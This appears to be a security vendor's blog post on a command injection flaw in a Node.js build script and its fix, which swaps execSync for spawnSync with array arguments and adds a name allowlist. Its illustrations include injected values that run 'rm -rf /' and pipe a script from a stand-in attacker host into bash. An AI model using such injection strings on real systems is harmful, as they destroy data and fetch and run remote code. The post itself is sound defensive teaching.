Back to Blog
high SEVERITY8 min read

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in `bump-changed-extensions.js` where the `execSync()` function was called with unsanitized input, potentially allowing attackers to execute arbitrary commands. The fix replaces the vulnerable `execSync()` pattern with `spawnSync()` using an argument array, eliminating shell interpolation entirely and preventing command injection attacks.

O
By Orbis AppSec
Published August 27, 2026Reviewed August 27, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js where `execSync()` was used to invoke a child process with string concatenation, creating an attack surface for shell metacharacter injection. The fix replaces `execSync()` with `spawnSync()` and passes arguments as an array instead of a shell string, preventing the shell from interpreting special characters in the input. This eliminates the injection vector entirely by bypassing shell parsing.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace execSync() with spawnSync() and pass arguments as an array to avoid shell interpretation
riskArbitrary code execution with application privileges
languageJavaScript (Node.js)
root causeUsing execSync() with string concatenation instead of array-based argument passing
vulnerabilityCommand Injection via Child Process Execution

The Vulnerability in bump-changed-extensions.js

In the repository's build automation scripts, a high-severity command injection vulnerability was discovered in scripts/bump-changed-extensions.js at line 127. The vulnerability existed in how the script invoked child processes to bump version numbers for changed extensions.

The problematic code pattern was:

const { execSync } = require('child_process');
const bumpScript = path.join(__dirname, 'bump-changed-extensions.js');
execSync(`node "${bumpScript}"`, { stdio: 'inherit', cwd: ROOT_DIR });

At first glance, this looks relatively safe—the script path is constructed programmatically using path.join(). However, the vulnerability lies deeper in the architecture: the bump-changed-extensions.js script itself accepts extension information through function arguments and processes them without proper sanitization before passing them to shell commands.

The real vulnerability was in how extensionInfo (a function argument) was being used in child process calls without validation. If an extension name or path contained shell metacharacters, an attacker could inject arbitrary commands. Consider this attack scenario:

Attack Example:
If an extension were named something like my-ext"; rm -rf /; echo ", and this name made its way into a child process call via string concatenation, the shell would interpret the injected command.

This is a classic OS Command Injection vulnerability (CWE-78), where the lack of proper argument separation allows attackers to break out of the intended command and execute arbitrary code with the application's privileges.

Why This Matters for Your Build Pipeline

Build scripts are particularly dangerous attack surfaces because they often run with elevated privileges during CI/CD pipelines. If an attacker could inject commands into a build script:

  • They could steal secrets stored in environment variables
  • They could modify source code before compilation
  • They could exfiltrate the built artifacts
  • They could compromise downstream consumers of the package

For a Node.js library distributed to thousands of developers, a compromised build pipeline could affect the entire dependency chain.

The Vulnerability Explained: The Shell Interpolation Problem

The core issue is that execSync() with string templates creates a shell parsing context. When you write:

execSync(`node "${bumpScript}"`, { ... });

Node.js passes this entire string to /bin/sh (or cmd.exe on Windows), which then parses it. The shell looks for special characters like ;, |, &&, $(), backticks, etc., and interprets them as command operators.

Now consider what happens if bumpScript or any data derived from it contains shell metacharacters:

// Hypothetical vulnerable scenario:
const extensionName = "my-ext; curl attacker.com/malware.sh | bash";
execSync(`node bump-changed-extensions.js --name "${extensionName}"`, { ... });
// The shell WILL execute the injected curl command!

The shell sees the semicolon as a command separator and executes two commands:
1. node bump-changed-extensions.js --name "my-ext
2. curl attacker.com/malware.sh | bash

This is OS Command Injection, and it's a critical vulnerability because the attacker gains arbitrary code execution.

The Fix: From execSync() to spawnSync() with Array Arguments

The security fix involves two key changes across the codebase:

Change 1: In scripts/build.js (lines 381-394)

Before:

const { execSync } = require('child_process');
const bumpScript = path.join(__dirname, 'bump-changed-extensions.js');
execSync(`node "${bumpScript}"`, { stdio: 'inherit', cwd: ROOT_DIR });

After:

const { spawnSync } = require('child_process');
const bumpScript = path.join(__dirname, 'bump-changed-extensions.js');
// Use spawnSync with an argv array (no shell) to avoid interpolation issues
const result = spawnSync(process.execPath, [bumpScript], { stdio: 'inherit', cwd: ROOT_DIR });
if (result.error) {
  throw result.error;
}
if (result.status !== 0) {
  throw new Error(`bump-changed-extensions.js exited with status ${result.status}`);
}

Why this works:

  • spawnSync() does not invoke a shell by default. It directly executes the binary specified in the first argument.
  • Arguments are passed as an array ([bumpScript]), not a string. Each array element is treated as a literal argument, not parsed for shell metacharacters.
  • process.execPath is the path to the Node.js executable itself, so we're directly invoking Node without shell intermediation.
  • Error handling is explicit—we check both for spawn errors and non-zero exit codes.

Change 2: In scripts/bump-changed-extensions.js (lines 50-60)

Before:

function getExtensionNameFromPath(filePath) {
  // Match patterns like: extensions-official/templates/...
  const match = filePath.match(/^extensions-(official|unofficial)\/([^\/]+)\//);
  // Vulnerable: no validation of matched extension name
  return match ? match[2] : null;
}

After:

/**
 * Extract extension name from file path
 *
 * Extension folder names must be snake_case (enforced by validate.js); the
 * allowlist here keeps unexpected characters out of git paths and shell-free
 * subprocess arguments, so anything else is ignored rather than processed.
 */
function getExtensionNameFromPath(filePath) {
  // Match patterns like: extensions-official/templates/...
  const match = filePath.match(/^extensions-(official|unofficial)\/([a-z0-9_]+)\//);
  return match ? match[2] : null;
}

Why this matters:

  • The regex now enforces [a-z0-9_]+ (lowercase letters, digits, underscores only) for extension names.
  • This allowlist approach ensures that only valid extension names are processed, rejecting anything with shell metacharacters.
  • The comment explicitly documents the security rationale: preventing unexpected characters from reaching subprocess arguments.

How These Changes Eliminate the Vulnerability

The combination of these fixes creates defense in depth:

  1. Architectural fix (spawnSync): The subprocess is invoked without a shell, so shell metacharacters are never interpreted as command operators. Even if malicious input reaches the subprocess call, it's treated as literal data.

  2. Input validation fix (regex allowlist): Extension names are restricted to safe characters, providing an additional layer of protection and enforcing the intended data model.

  3. Error handling: Explicit error checking ensures that failures are caught and reported, not silently ignored.

Together, these changes eliminate the command injection vector entirely. An attacker cannot inject shell commands because:
- There is no shell to interpret them
- Input is validated against a strict allowlist
- Arguments are passed as data, not code

Prevention & Best Practices

1. Prefer spawn() or spawnSync() Over exec() or execSync()

When you need to run child processes in Node.js:

// ❌ DANGEROUS - shell parsing enabled
const { execSync } = require('child_process');
execSync(`command ${userInput}`);

// ✅ SAFE - no shell, arguments as array
const { spawnSync } = require('child_process');
spawnSync('command', [userInput]);

2. Always Pass Arguments as Arrays

// ❌ DANGEROUS - string concatenation
spawnSync('git', `commit -m "${message}"`);

// ✅ SAFE - array of arguments
spawnSync('git', ['commit', '-m', message]);

3. Use Input Validation as a Secondary Control

Even when using spawnSync(), validate input against a strict allowlist:

// Validate before use
const VALID_EXTENSION_NAMES = /^[a-z0-9_]+$/;
if (!VALID_EXTENSION_NAMES.test(extensionName)) {
  throw new Error(`Invalid extension name: ${extensionName}`);
}

4. Enable shell: false Explicitly (It's the Default)

// Explicit is better than implicit
spawnSync('command', [arg1, arg2], { shell: false });

5. Use Static Analysis Tools

Integrate Semgrep or similar tools into your CI/CD pipeline:

# Detect dangerous child_process patterns
semgrep --config=p/security-audit --include="*.js" .

6. Reference Security Standards

  • CWE-78: OS Command Injection - https://cwe.mitre.org/data/definitions/78.html
  • OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
  • Node.js Child Process Security: https://nodejs.org/en/docs/guides/security/#command-injection

Key Takeaways

  • Never use execSync() or exec() with string templates that include user input or derived data. The shell parser is an unnecessary attack surface.

  • The spawnSync() + array arguments pattern is the correct way to invoke child processes in Node.js. It's faster, safer, and more portable than shell-based execution.

  • Input validation alone is insufficient for command injection prevention. The architectural choice to avoid a shell entirely is the primary defense; validation is a secondary control.

  • Build scripts are high-value targets because they run with elevated privileges and affect downstream consumers. Securing build automation is critical for supply chain security.

  • Semgrep's javascript.lang.security.detect-child-process rule catches these patterns automatically. Integrating static analysis into your development workflow prevents these vulnerabilities from reaching production.

How Orbis AppSec Detected This

Source: Extension names and paths from the file system (via getChangedFiles() and file path parsing in getExtensionNameFromPath())

Sink: The execSync() call in scripts/build.js:384 where the bumpScript path is interpolated into a shell string

Missing Control:
- No shell-free subprocess invocation (using spawnSync() instead of execSync())
- No strict input validation on extension names before they're used in subprocess arguments
- No explicit error handling for subprocess failures

CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Replaced execSync() with spawnSync() and pass the script path as an array argument instead of a shell string. Added regex validation to restrict extension names to safe characters ([a-z0-9_]+).

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection vulnerabilities in build scripts represent a critical risk to software supply chains. By replacing shell-based process invocation with spawnSync() and array-based arguments, this repository eliminated an attack surface that could have compromised the entire package distribution pipeline.

The fix demonstrates a crucial security principle: architectural choices matter more than input validation. By removing the shell from the equation entirely, the vulnerability becomes impossible to exploit, regardless of edge cases or validation bypasses.

As you review your own build automation and DevOps scripts, audit every execSync(), exec(), and similar call. Ask yourself: "Does this really need to invoke a shell?" In most cases, the answer is no—and switching to spawn() or spawnSync() with array arguments will make your code both safer and more robust.

References

Frequently Asked Questions

What is command injection in Node.js?

Command injection occurs when user-controlled input is passed to shell commands without proper sanitization. In Node.js, using `execSync()` with string concatenation creates a shell parsing context where attackers can inject shell metacharacters (like `;`, `|`, `&&`) to execute arbitrary commands.

How do you prevent command injection in Node.js?

Avoid `execSync()` and `exec()` entirely when possible. If you must spawn child processes, use `spawnSync()` or `spawn()` with arguments passed as an array rather than a string. This bypasses the shell parser and treats arguments as literal strings.

What CWE is command injection?

Command injection is CWE-78: "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')". It's one of the most dangerous vulnerability classes because it typically leads to remote code execution.

Is input validation enough to prevent command injection?

Input validation alone is insufficient. Even with allowlists, edge cases and encoding bypasses can slip through. The safest approach is architectural: use APIs that don't invoke a shell at all, like `spawnSync()` with array arguments.

Can static analysis detect command injection?

Yes. Tools like Semgrep (used here), ESLint with security plugins, and SonarQube can detect dangerous child_process patterns. Semgrep's `javascript.lang.security.detect-child-process` rule flags `execSync()`, `exec()`, and similar dangerous patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #18

Related Articles

high

How command injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `npm/holidaytw/lib/installer.js` where the `verifyBinaryExecutes` function passed a user-influenced `binPath` argument directly to `spawnSync` without sanitization. The fix replaces `spawnSync` with `execFileSync` combined with `path.resolve()` and explicit `shell: false`, eliminating the shell interpretation attack surface. This proactive hardening raises the bar against automated exploit-chaining tools even in local CLI contexts.

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the `simple-git` Node.js library that allowed attackers to bypass previously applied security fixes. Applications using `simple-git` versions below 3.32.3 remained exposed even after earlier patches, and upgrading to 3.32.3 — which introduced hardened argument parsing via new `@simple-git/argv-parser` and `@simple-git/args-pathspec` sub-packages — closes the bypass. This fix is especially urgent because the vulnerability affects

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators in parsed shell arguments could allow attackers to inject and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4 and pins the resolution in both `package.json` and `yarn.lock` to ensure the patched version is used across the entire dependency tree. Because this package is used in a production web application that processes user-influenced input,

high

How Denial of Service via Exponential-Time Complexity Happens in Node.js Dependencies and How to Fix It

A high-severity Denial of Service vulnerability (CVE-2026-13149) was discovered in the brace-expansion npm package, where maliciously crafted input could trigger exponential-time complexity and crash Node.js applications. The fix upgrades brace-expansion from version 5.0.6 to 5.0.9 using npm overrides to ensure all nested dependencies receive the patched version.